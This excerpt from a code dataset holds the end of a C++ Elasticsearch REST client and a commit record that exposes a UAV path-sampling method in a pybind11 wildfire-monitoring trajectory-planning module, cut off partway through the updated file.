REST::QueryType::PUT);\n}\n\n\nvoid Elasticsearch::Api::DeleteDocument(const Url &host, const std::string &index, const std::string &type, const std::string &id) {\n const std::string action(index + \"\/\" + type + \"\/\" + id);\n Query(host, action, REST::QueryType::DELETE);\n}\n\n\nvoid Elasticsearch::Api::DeleteIndex(const Url &host, const std::string &index) {\n Query(host, index, REST::QueryType::DELETE);\n}\n\n\nElasticsearch::Document Elasticsearch::Api::GetDocument(const Url &host, const std::string &index, const std::string &type, const std::string &id) {\n const std::string action(index + \"\/\" + type + \"\/\" + id);\n std::shared_ptr<JSON::ObjectNode> result(Query(host, action, REST::QueryType::GET));\n bool found(result->getOptionalBooleanValue(\"found\", false));\n if (not found)\n throw std::runtime_error(\"in Elasticsearch::getDocument: document not found!\" + result->toString());\n\n Document document;\n document.id_ = id;\n document.type_ = type;\n document.fields_ = JSONToFields(result->getObjectNode(\"_source\"));\n return document;\n}\n\n\nstd::vector<std::string> Elasticsearch::Api::GetIndexList(const Url &host) {\n const std::string action(\"_cluster\/health?level=indices\");\n const std::shared_ptr<const JSON::ObjectNode> result_node(Query(host, action, REST::QueryType::GET));\n\n if (not result_node->hasNode(\"indices\"))\n throw std::runtime_error(\"in Elasticsearch::getIndexList: indices key not found in result: \" + result_node->toString());\n\n const std::shared_ptr<const JSON::ObjectNode> index_list_node(result_node->getObjectNode(\"indices\"));\n std::vector<std::string> index_list;\n for (const auto &key_and_node : *index_list_node)\n index_list.push_back(key_and_node.first);\n\n return index_list;\n}\n\n\nElasticsearch::IndexStatistics Elasticsearch::Api::GetIndexStatistics(const Url &host, const std::string &index) {\n const std::string action(index + \"\/_stats\");\n const std::shared_ptr<const JSON::ObjectNode> result_object(Query(host, action, REST::QueryType::GET));\n const std::shared_ptr<const JSON::ObjectNode> indices_object(result_object->getObjectNode(\"indices\"));\n const std::shared_ptr<const JSON::ObjectNode> index_object(indices_object->getObjectNode(index));\n const std::shared_ptr<const JSON::ObjectNode> total_object(index_object->getObjectNode(\"total\"));\n const std::shared_ptr<const JSON::ObjectNode> docs_object(total_object->getObjectNode(\"docs\"));\n IndexStatistics stats;\n stats.document_count_ = static_cast<unsigned>(docs_object->getIntegerValue(\"count\"));\n return stats;\n}\n\n\nbool Elasticsearch::Api::HasDocument(const Url &host, const std::string &index, const std::string &type, const std::string &id) {\n const std::string action(index + \"\/\" + type + \"\/\" + id);\n const std::shared_ptr<const JSON::ObjectNode> result(Query(host, action, REST::QueryType::GET));\n return result->getOptionalBooleanValue(\"found\", false);\n}\n\n\nvoid Elasticsearch::Api::Reindex(const Url &host, const std::string &source_index, const std::string &target_index) {\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n\n std::shared_ptr<JSON::ObjectNode> source_node(new JSON::ObjectNode);\n std::shared_ptr<JSON::StringNode> source_index_node(new JSON::StringNode(source_index));\n source_node->insert(\"index\", source_index_node);\n tree_root->insert(\"source\", source_node);\n\n std::shared_ptr<JSON::ObjectNode> dest_node(new JSON::ObjectNode);\n std::shared_ptr<JSON::StringNode> dest_index_node(new JSON::StringNode(target_index));\n dest_node->insert(\"index\", dest_index_node);\n tree_root->insert(\"dest\", dest_node);\n\n Query(host, \"_reindex\", REST::QueryType::POST, tree_root);\n}\n\n\nElasticsearch::IdToDocumentMap Elasticsearch::Api::SearchAllDocuments(const Url &host, const std::string &index) {\n const std::string action(index + \"\/_search\");\n\n const std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n std::shared_ptr<JSON::ObjectNode> query_node(new JSON::ObjectNode);\n tree_root->insert(\"query\", query_node);\n std::shared_ptr<JSON::ObjectNode> match_all_node(new JSON::ObjectNode);\n query_node->insert(\"match_all\", match_all_node);\n\n const std::shared_ptr<const JSON::ObjectNode> result_node(Query(host, action, REST::QueryType::GET, tree_root));\n\n IdToDocumentMap documents;\n if (result_node->hasNode(\"hits\")) {\n const std::shared_ptr<const JSON::ObjectNode> hits_object(result_node->getObjectNode(\"hits\"));\n const std::shared_ptr<const JSON::ArrayNode> hits_array(hits_object->getArrayNode(\"hits\"));\n for (const auto &hit_node : *hits_array) {\n const std::shared_ptr<const JSON::ObjectNode> hit_object(JSON::JSONNode::CastToObjectNodeOrDie(\"hit\", hit_node));\n Document document;\n document.id_ = hit_object->getStringValue(\"_id\");\n if (hit_object->hasNode(\"_source\")) {\n const std::shared_ptr<const JSON::ObjectNode> fields_object(hit_object->getObjectNode(\"_source\"));\n document.fields_ = JSONToFields(fields_object);\n }\n documents[document.id_] = document;\n }\n }\n return documents;\n}\n\n\nvoid Elasticsearch::Api::UpdateDocument(const Url &host, const std::string &index, const Document &document) {\n std::shared_ptr<JSON::ObjectNode> doc_node(FieldsToJSON(document.fields_));\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n tree_root->insert(\"doc\", doc_node);\n\n const std::string action(index + \"\/\" + document.type_ + \"\/\" + document.id_ + \"\/_update\");\n Query(host, action, REST::QueryType::POST, tree_root);\n}\n\n\nvoid Elasticsearch::Api::UpdateOrInsertDocument(const Url &host, const std::string &index, const Document &document) {\n std::shared_ptr<JSON::ObjectNode> tree_root(new JSON::ObjectNode);\n std::shared_ptr<JSON::ObjectNode> doc_node(FieldsToJSON(document.fields_));\n tree_root->insert(\"doc\", doc_node);\n std::shared_ptr<JSON::BooleanNode> doc_as_upsert_node(new JSON::BooleanNode(true));\n tree_root->insert(\"doc_as_upsert\", doc_as_upsert_node);\n\n const std::string action(index + \"\/\" + document.type_ + \"\/\" + document.id_ + \"\/_update\");\n Query(host, action, REST::QueryType::POST, tree_root);\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2017, CNRS-LAAS\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\/\n\n#include <pybind11\/pybind11.h>\n\n#include <pybind11\/stl.h> \/\/ for conversions between c++ and python collections\n#include <pybind11\/numpy.h> \/\/ support for numpy arrays\n#include \"core\/structures\/trajectory.h\"\n#include \"raster.h\"\n#include \"vns\/factory.h\"\n\nnamespace py = pybind11;\n\n\/** Converts a numpy array to a vector *\/\ntemplate<class T>\nstd::vector<T> as_vector(py::array_t<T, py::array::c_style | py::array::forcecast> array) {\n std::vector<T> data(array.size());\n for(ssize_t x=0; x<array.shape(0); x++) {\n for(ssize_t y=0; y<array.shape(1); y++) {\n data[x + y*array.shape(0)] = *(array.data(x, y));\n }\n }\n return data;\n}\n\n\/** Converts a vector to a 2D numpy array. *\/\ntemplate<class T>\npy::array_t<T> as_nparray(std::vector<T> vec, size_t x_width, size_t y_height) {\n ASSERT(vec.size() == x_width * y_height)\n py::array_t<T, py::array::c_style | py::array::forcecast> array(std::vector<size_t> {x_width, y_height});\n auto s_x_width = static_cast<ssize_t>(x_width);\n auto s_y_height = static_cast<ssize_t>(y_height);\n for(ssize_t x=0; x<s_x_width; x++) {\n for (ssize_t y = 0; y < s_y_height; y++) {\n *(array.mutable_data(x, y)) = vec[x + y*x_width];\n }\n }\n return array;\n}\n\nPYBIND11_DECLARE_HOLDER_TYPE(T, std::shared_ptr<T>);\n\nPYBIND11_MODULE(uav_planning, m) {\n m.doc() = \"Python module for UAV trajectory planning\";\n\n srand(0);\n\n py::class_<DRaster>(m, \"DRaster\")\n .def(py::init([](py::array_t<double, py::array::c_style | py::array::forcecast> arr,\n double x_offset, double y_offset, double cell_width) {\n return new DRaster(as_vector<double>(arr), arr.shape(0), arr.shape(1), x_offset, y_offset, cell_width);\n }))\n .def(\"as_numpy\", [](DRaster& self) {\n return as_nparray<double>(self.data, self.x_width, self.y_height);\n })\n .def_readonly(\"x_offset\", &DRaster::x_offset)\n .def_readonly(\"y_offset\", &DRaster::y_offset)\n .def_readonly(\"cell_width\", &DRaster::cell_width);\n\n py::class_<LRaster>(m, \"LRaster\")\n .def(py::init([](py::array_t<long, py::array::c_style | py::array::forcecast> arr,\n double x_offset, double y_offset, double cell_width) {\n return new LRaster(as_vector<long>(arr), arr.shape(0), arr.shape(1), x_offset, y_offset, cell_width);\n }))\n .def(\"as_numpy\", [](LRaster& self) {\n return as_nparray<long>(self.data, self.x_width, self.y_height);\n })\n .def_readonly(\"x_offset\", &LRaster::x_offset)\n .def_readonly(\"y_offset\", &LRaster::y_offset)\n .def_readonly(\"cell_width\", &LRaster::cell_width);\n\n py::class_<TimeWindow>(m, \"TimeWindow\")\n .def(py::init<const double, const double>(),\n py::arg(\"start\"), py::arg(\"end\"))\n .def_readonly(\"start\", &TimeWindow::start)\n .def_readonly(\"end\", &TimeWindow::end)\n .def(\"__repr__\",\n [](const TimeWindow &tw) {\n std::stringstream repr;\n repr << \"TimeWindow(\" << tw.start << \", \" << tw.end << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](TimeWindow &self) {\n return py::make_tuple(self.start, self.end);\n } );\n\n py::class_<Cell>(m, \"Cell\")\n .def(py::init<const size_t, const size_t>(),\n py::arg(\"x\"), py::arg(\"y\"))\n .def_readonly(\"x\", &Cell::x)\n .def_readonly(\"y\", &Cell::y)\n .def(\"__repr__\",\n [](const Cell &c) {\n std::stringstream repr;\n repr << \"Cell(\" << c.x << \", \" << c.y << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Cell &self) {\n return py::make_tuple(self.x, self.y);\n } );\n\n py::class_<Position>(m, \"Position2d\")\n .def(py::init<double, double>(),\n py::arg(\"x\"), py::arg(\"y\"))\n .def_readonly(\"x\", &Position::x)\n .def_readonly(\"y\", &Position::y)\n .def(\"__repr__\",\n [](const Position &p) {\n std::stringstream repr;\n repr << \"Position2d(\" << p.x << \", \" << p.y << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Position &self) {\n return py::make_tuple(self.x, self.y);\n } );\n\n py::class_<Position3d>(m, \"Position\")\n .def(py::init<double, double, double>(),\n py::arg(\"x\"), py::arg(\"y\"), py::arg(\"z\"))\n .def_readonly(\"x\", &Position3d::x)\n .def_readonly(\"y\", &Position3d::y)\n .def_readonly(\"z\", &Position3d::z)\n .def(\"__repr__\",\n [](const Position3d &p) {\n std::stringstream repr;\n repr << \"Position(\" << p.x << \", \" << p.y << \", \" << p.z << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Position3d &self) {\n return py::make_tuple(self.x, self.y, self.z);\n } );\n\n py::class_<PositionTime>(m, \"Position2dTime\")\n .def(py::init<Position, double>(),\n py::arg(\"point\"), py::arg(\"time\"))\n .def_readonly(\"pt\", &PositionTime::pt)\n .def_readonly(\"y\", &PositionTime::time)\n .def(\"__repr__\",\n [](const PositionTime &p) {\n std::stringstream repr;\n repr << \"Position2dTime(\" << p.pt.x << \", \" << p.pt.y << \", \" << p.time << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](PositionTime &self) {\n return py::make_tuple(py::make_tuple(self.pt.x, self.pt.y), self.time);\n } );\n\n py::class_<Position3dTime>(m, \"PositionTime\")\n .def(py::init<Position3d, double>(),\n py::arg(\"point\"), py::arg(\"time\"))\n .def_readonly(\"pt\", &Position3dTime::pt)\n .def_readonly(\"y\", &Position3dTime::time)\n .def(\"__repr__\",\n [](const Position3dTime &p) {\n std::stringstream repr;\n repr << \"PositionTime(\" << p.pt.x << \", \" << p.pt.y << \", \" << p.pt.z << \", \" << p.time << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Position3dTime &self) {\n return py::make_tuple(py::make_tuple(self.pt.x, self.pt.y, self.pt.z), self.time);\n } );\n\n py::class_<FireData>(m, \"FireData\")\n .def(py::init<DRaster&, DiscreteDRaster&>(), py::arg(\"ignitions\"), py::arg(\"elevation\"))\n .def_readonly(\"ignitions\", &FireData::ignitions)\n .def_readonly(\"traversal_end\", &FireData::traversal_end)\n .def_readonly(\"propagation_directions\", &FireData::propagation_directions)\n .def_readonly(\"elevation\", &FireData::elevation);\n\/\/ .def_readonly_static(\"isochrone_timespan\", &FireData::isochrone_timespan)\n\/\/ .def_readonly(\"isochrones\", &FireData::isochrones);\n\n py::class_<Waypoint3d>(m, \"Waypoint\")\n .def(py::init<const double, const double, const double, const double>(),\n py::arg(\"x\"), py::arg(\"y\"), py::arg(\"z\"), py::arg(\"direction\"))\n .def_readonly(\"x\", &Waypoint3d::x)\n .def_readonly(\"y\", &Waypoint3d::y)\n .def_readonly(\"z\", &Waypoint3d::z)\n .def_readonly(\"dir\", &Waypoint3d::dir)\n .def(\"__repr__\", &Waypoint3d::to_string);\n\n py::class_<Segment3d>(m, \"Segment\")\n .def(py::init<const Waypoint3d, const double>())\n .def(py::init<const Waypoint3d, const Waypoint3d>())\n .def_readonly(\"start\", &Segment3d::start)\n .def_readonly(\"end\", &Segment3d::end)\n .def_readonly(\"length\", &Segment3d::length)\n .def(\"__repr__\", &Segment3d::to_string);\n\n py::class_<UAV>(m, \"UAV\")\n .def(py::init<const double, const double, const double>())\n .def_readonly(\"min_turn_radius\", &UAV::min_turn_radius)\n .def_readonly(\"max_air_speed\", &UAV::max_air_speed)\n .def_readonly(\"max_pitch_angle\", &UAV::max_pitch_angle)\n .def(\"travel_distance\", (double (UAV::*)(const Waypoint3d &, const Waypoint3d &) const)&UAV::travel_distance, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"travel_distance\", (double (UAV::*)(const Waypoint &, const Waypoint &) const)&UAV::travel_distance, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"travel_time\", (double (UAV::*)(const Waypoint3d &, const Waypoint3d &) const)&UAV::travel_time, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"travel_time\", (double (UAV::*)(const Waypoint &, const Waypoint &) const)&UAV::travel_time, py::arg(\"origin\"), py::arg(\"destination\"));\n\n py::class_<Trajectory>(m, \"Trajectory\") \n .def(py::init<const TrajectoryConfig&>())\n .def_readonly(\"conf\", &Trajectory::conf)\n .def(\"start_time\", (double (Trajectory::*)() const)&Trajectory::start_time)\n .def(\"end_time\", (double (Trajectory::*)() const)&Trajectory::end_time)\n .def_readonly(\"segments\", &Trajectory::traj)\n .def(\"length\", &Trajectory::length)\n .def(\"duration\", &Trajectory::duration)\n .def(\"as_waypoints\", &Trajectory::as_waypoints)\n .def(\"sampled\", &Trajectory::sampled, py::arg(\"step_size\") = 1)\n .def(\"with_waypoint_at_end\", &Trajectory::with_waypoint_at_end)\n .def(\"__repr__\", &Trajectory::to_string);\n\n py::class_<TrajectoryConfig>(m, \"TrajectoryConfig\")\n .def(py::init<UAV, Waypoint3d, Waypoint3d, double, double>())\n .def_readonly(\"uav\", &TrajectoryConfig::uav)\n .def_readonly(\"max_flight_time\", &TrajectoryConfig::max_flight_time)\n .def_static(\"build\", [](UAV uav, double start_time, double max_flight_time) -> TrajectoryConfig {\n return TrajectoryConfig(uav, start_time, max_flight_time);\n }, \"Constructor\", py::arg(\"uav\"), py::arg(\"start_time\") = 0,\n py::arg(\"max_flight_time\") = std::numeric_limits<double>::max());\n\n py::class_<Plan>(m, \"Plan\")\n .def(\"trajectories\", [](Plan& self) { return self.core.trajectories; })\n .def(\"utility\", &Plan::utility)\n .def(\"duration\", &Plan::duration)\n .def_readonly(\"firedata\", &Plan::firedata)\n .def(\"observations\", &Plan::observations);\n\n py::class_<SearchResult>(m, \"SearchResult\")\n .def(\"initial_plan\", &SearchResult::initial)\n .def(\"final_plan\", &SearchResult::final)\n .def_readonly(\"intermediate_plans\", &SearchResult::intermediate_plans)\n .def(\"metadata\", [](SearchResult &self) { return self.metadata.dump(); } );\n\n m.def(\"plan_vns\", [](vector<TrajectoryConfig> configs, DRaster ignitions, DRaster elevation, const std::string& json_conf) -> SearchResult {\n auto time = []() {\n struct timeval tp;\n gettimeofday(&tp, NULL);\n return (double) tp.tv_sec + ((double)(tp.tv_usec \/ 1000) \/1000.);\n };\n json conf = json::parse(json_conf);\n const double min_time = conf[\"min_time\"];\n const double max_time = conf[\"max_time\"];\n const size_t save_every = conf[\"save_every\"];\n const bool save_improvements = conf[\"save_improvements\"];\n const size_t discrete_elevation_interval = conf[\"discrete_elevation_interval\"];\n\n\n printf(\"Processing firedata data\\n\");\n double preprocessing_start = time();\n shared_ptr<FireData> fire_data;\n if (discrete_elevation_interval > 0) {\n fire_data = make_shared<FireData>(ignitions, DiscreteDRaster(elevation, discrete_elevation_interval));\n } else {\n fire_data = make_shared<FireData>(ignitions, elevation);\n }\n double preprocessing_end = time();\n\n printf(\"Building initial plan\\n\");\n Plan p(configs, fire_data, TimeWindow{min_time, max_time});\n\n printf(\"Planning\\n\");\n auto vns = vns::build_from_config(conf[\"vns\"].dump());\n const double planning_start = time();\n auto res = vns->search(p, 0, save_every, save_improvements);\n const double planning_end = time();\n printf(\"Plan found\\n\");\n res.metadata[\"planning_time\"] = planning_end - planning_start;\n res.metadata[\"preprocessing_time\"] = preprocessing_end - preprocessing_start;\n res.metadata[\"configuration\"] = conf;\n return res;\n }, py::arg(\"trajectory_configs\"), py::arg(\"ignitions\"), py::arg(\"elevation\"), py::arg(\"json_conf\"),\n py::call_guard<py::gil_scoped_release>());\n}\n<commit_msg>Expose UAV.path_sampling in python<commit_after>\/* Copyright (c) 2017, CNRS-LAAS\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice, this\n list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and\/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\/\n\n#include <pybind11\/pybind11.h>\n\n#include <pybind11\/stl.h> \/\/ for conversions between c++ and python collections\n#include <pybind11\/numpy.h> \/\/ support for numpy arrays\n#include \"core\/structures\/trajectory.h\"\n#include \"raster.h\"\n#include \"vns\/factory.h\"\n\nnamespace py = pybind11;\n\n\/** Converts a numpy array to a vector *\/\ntemplate<class T>\nstd::vector<T> as_vector(py::array_t<T, py::array::c_style | py::array::forcecast> array) {\n std::vector<T> data(array.size());\n for(ssize_t x=0; x<array.shape(0); x++) {\n for(ssize_t y=0; y<array.shape(1); y++) {\n data[x + y*array.shape(0)] = *(array.data(x, y));\n }\n }\n return data;\n}\n\n\/** Converts a vector to a 2D numpy array. *\/\ntemplate<class T>\npy::array_t<T> as_nparray(std::vector<T> vec, size_t x_width, size_t y_height) {\n ASSERT(vec.size() == x_width * y_height)\n py::array_t<T, py::array::c_style | py::array::forcecast> array(std::vector<size_t> {x_width, y_height});\n auto s_x_width = static_cast<ssize_t>(x_width);\n auto s_y_height = static_cast<ssize_t>(y_height);\n for(ssize_t x=0; x<s_x_width; x++) {\n for (ssize_t y = 0; y < s_y_height; y++) {\n *(array.mutable_data(x, y)) = vec[x + y*x_width];\n }\n }\n return array;\n}\n\nPYBIND11_DECLARE_HOLDER_TYPE(T, std::shared_ptr<T>);\n\nPYBIND11_MODULE(uav_planning, m) {\n m.doc() = \"Python module for UAV trajectory planning\";\n\n srand(0);\n\n py::class_<DRaster>(m, \"DRaster\")\n .def(py::init([](py::array_t<double, py::array::c_style | py::array::forcecast> arr,\n double x_offset, double y_offset, double cell_width) {\n return new DRaster(as_vector<double>(arr), arr.shape(0), arr.shape(1), x_offset, y_offset, cell_width);\n }))\n .def(\"as_numpy\", [](DRaster& self) {\n return as_nparray<double>(self.data, self.x_width, self.y_height);\n })\n .def_readonly(\"x_offset\", &DRaster::x_offset)\n .def_readonly(\"y_offset\", &DRaster::y_offset)\n .def_readonly(\"cell_width\", &DRaster::cell_width);\n\n py::class_<LRaster>(m, \"LRaster\")\n .def(py::init([](py::array_t<long, py::array::c_style | py::array::forcecast> arr,\n double x_offset, double y_offset, double cell_width) {\n return new LRaster(as_vector<long>(arr), arr.shape(0), arr.shape(1), x_offset, y_offset, cell_width);\n }))\n .def(\"as_numpy\", [](LRaster& self) {\n return as_nparray<long>(self.data, self.x_width, self.y_height);\n })\n .def_readonly(\"x_offset\", &LRaster::x_offset)\n .def_readonly(\"y_offset\", &LRaster::y_offset)\n .def_readonly(\"cell_width\", &LRaster::cell_width);\n\n py::class_<TimeWindow>(m, \"TimeWindow\")\n .def(py::init<const double, const double>(),\n py::arg(\"start\"), py::arg(\"end\"))\n .def_readonly(\"start\", &TimeWindow::start)\n .def_readonly(\"end\", &TimeWindow::end)\n .def(\"__repr__\",\n [](const TimeWindow &tw) {\n std::stringstream repr;\n repr << \"TimeWindow(\" << tw.start << \", \" << tw.end << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](TimeWindow &self) {\n return py::make_tuple(self.start, self.end);\n } );\n\n py::class_<Cell>(m, \"Cell\")\n .def(py::init<const size_t, const size_t>(),\n py::arg(\"x\"), py::arg(\"y\"))\n .def_readonly(\"x\", &Cell::x)\n .def_readonly(\"y\", &Cell::y)\n .def(\"__repr__\",\n [](const Cell &c) {\n std::stringstream repr;\n repr << \"Cell(\" << c.x << \", \" << c.y << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Cell &self) {\n return py::make_tuple(self.x, self.y);\n } );\n\n py::class_<Position>(m, \"Position2d\")\n .def(py::init<double, double>(),\n py::arg(\"x\"), py::arg(\"y\"))\n .def_readonly(\"x\", &Position::x)\n .def_readonly(\"y\", &Position::y)\n .def(\"__repr__\",\n [](const Position &p) {\n std::stringstream repr;\n repr << \"Position2d(\" << p.x << \", \" << p.y << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Position &self) {\n return py::make_tuple(self.x, self.y);\n } );\n\n py::class_<Position3d>(m, \"Position\")\n .def(py::init<double, double, double>(),\n py::arg(\"x\"), py::arg(\"y\"), py::arg(\"z\"))\n .def_readonly(\"x\", &Position3d::x)\n .def_readonly(\"y\", &Position3d::y)\n .def_readonly(\"z\", &Position3d::z)\n .def(\"__repr__\",\n [](const Position3d &p) {\n std::stringstream repr;\n repr << \"Position(\" << p.x << \", \" << p.y << \", \" << p.z << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Position3d &self) {\n return py::make_tuple(self.x, self.y, self.z);\n } );\n\n py::class_<PositionTime>(m, \"Position2dTime\")\n .def(py::init<Position, double>(),\n py::arg(\"point\"), py::arg(\"time\"))\n .def_readonly(\"pt\", &PositionTime::pt)\n .def_readonly(\"y\", &PositionTime::time)\n .def(\"__repr__\",\n [](const PositionTime &p) {\n std::stringstream repr;\n repr << \"Position2dTime(\" << p.pt.x << \", \" << p.pt.y << \", \" << p.time << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](PositionTime &self) {\n return py::make_tuple(py::make_tuple(self.pt.x, self.pt.y), self.time);\n } );\n\n py::class_<Position3dTime>(m, \"PositionTime\")\n .def(py::init<Position3d, double>(),\n py::arg(\"point\"), py::arg(\"time\"))\n .def_readonly(\"pt\", &Position3dTime::pt)\n .def_readonly(\"y\", &Position3dTime::time)\n .def(\"__repr__\",\n [](const Position3dTime &p) {\n std::stringstream repr;\n repr << \"PositionTime(\" << p.pt.x << \", \" << p.pt.y << \", \" << p.pt.z << \", \" << p.time << \")\";\n return repr.str();\n }\n )\n .def(\"as_tuple\", [](Position3dTime &self) {\n return py::make_tuple(py::make_tuple(self.pt.x, self.pt.y, self.pt.z), self.time);\n } );\n\n py::class_<FireData>(m, \"FireData\")\n .def(py::init<DRaster&, DiscreteDRaster&>(), py::arg(\"ignitions\"), py::arg(\"elevation\"))\n .def_readonly(\"ignitions\", &FireData::ignitions)\n .def_readonly(\"traversal_end\", &FireData::traversal_end)\n .def_readonly(\"propagation_directions\", &FireData::propagation_directions)\n .def_readonly(\"elevation\", &FireData::elevation);\n\/\/ .def_readonly_static(\"isochrone_timespan\", &FireData::isochrone_timespan)\n\/\/ .def_readonly(\"isochrones\", &FireData::isochrones);\n\n py::class_<Waypoint3d>(m, \"Waypoint\")\n .def(py::init<const double, const double, const double, const double>(),\n py::arg(\"x\"), py::arg(\"y\"), py::arg(\"z\"), py::arg(\"direction\"))\n .def_readonly(\"x\", &Waypoint3d::x)\n .def_readonly(\"y\", &Waypoint3d::y)\n .def_readonly(\"z\", &Waypoint3d::z)\n .def_readonly(\"dir\", &Waypoint3d::dir)\n .def(\"__repr__\", &Waypoint3d::to_string);\n\n py::class_<Segment3d>(m, \"Segment\")\n .def(py::init<const Waypoint3d, const double>())\n .def(py::init<const Waypoint3d, const Waypoint3d>())\n .def_readonly(\"start\", &Segment3d::start)\n .def_readonly(\"end\", &Segment3d::end)\n .def_readonly(\"length\", &Segment3d::length)\n .def(\"__repr__\", &Segment3d::to_string);\n\n py::class_<UAV>(m, \"UAV\")\n .def(py::init<const double, const double, const double>())\n .def_readonly(\"min_turn_radius\", &UAV::min_turn_radius)\n .def_readonly(\"max_air_speed\", &UAV::max_air_speed)\n .def_readonly(\"max_pitch_angle\", &UAV::max_pitch_angle)\n .def(\"travel_distance\", (double (UAV::*)(const Waypoint3d &, const Waypoint3d &) const)\n &UAV::travel_distance, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"travel_distance\", (double (UAV::*)(const Waypoint &, const Waypoint &) const)\n &UAV::travel_distance, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"travel_time\", (double (UAV::*)(const Waypoint3d &, const Waypoint3d &) const)\n &UAV::travel_time, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"travel_time\", (double (UAV::*)(const Waypoint &, const Waypoint &) const)\n &UAV::travel_time, py::arg(\"origin\"), py::arg(\"destination\"))\n .def(\"path_sampling\", (std::vector<Waypoint3d> (UAV::*)(const Waypoint3d &, const Waypoint3d &, const double) const)\n &UAV::path_sampling, py::arg(\"origin\"), py::arg(\"destination\"), py::arg(\"step_size\"));\n\n py::class_<Trajectory>(m, \"Trajectory\") \n .def(py::init<const TrajectoryConfig&>())\n .def_readonly(\"conf\", &Trajectory::conf)\n .def(\"start_time\", (double (Trajectory::*)() const)&Trajectory::start_time)\n .def(\"end_time\", (double (Trajectory::*)() const)&Trajectory::end_time)\n .def_readonly(\"segments\", &Trajectory::traj)\n .def(\"length\", &Trajectory::length)\n .def(\"duration\", &Trajectory::duration)\n .def(\"as_waypoints\", &Trajectory::as_waypoints)\n .def(\"sampled\", &Trajectory::sampled, py::arg(\"step_size\") = 1)\n .def(\"with_waypoint_at_end\", &Trajectory::with_waypoint_at_end)\n .def(\"__repr__\", &Trajectory::to_string);\n\n py::class_<TrajectoryConfig>(m, \"TrajectoryConfig\")\n .def(py::init<UAV, Waypoint3d, Waypoint3d, double, double>())\n .def_readonly(\"uav\", &TrajectoryConfig::uav)\n .def_readonly(\"max_flight_time\", &TrajectoryConfig::max_flight_time)\n .def_static(\"build\", [](UAV uav, double start_time, double max_flight_time) -> TrajectoryConfig {\n return TrajectoryConfig(uav, start_time, max_flight_time);\n }, \"Constructor\", py::arg(\"uav\"), py::arg(\"start_time\") = 0,\n py::arg(\"max_flight_time\") = std::numeric_limits<double>::max());\n\n py::class_<Plan>(m, \"Plan\")\n .def(\"trajectories\", [](Plan& self) { return self.core.trajectories; })\n .def(\"utility\", &Plan::utility)\n .def(\"duration\", &Plan::duration)\n .def_readonly(\"firedata\", &Plan::firedata)\n .def(\"observations\", &Plan::observations);\n\n py::class_<SearchResult>(m, \"SearchResult\")\n .def(\"initial_plan\", &SearchResult::initial)\n .def(\"final_plan\", &SearchResult::final)\n .def_readonly(\"intermediate_plans\", 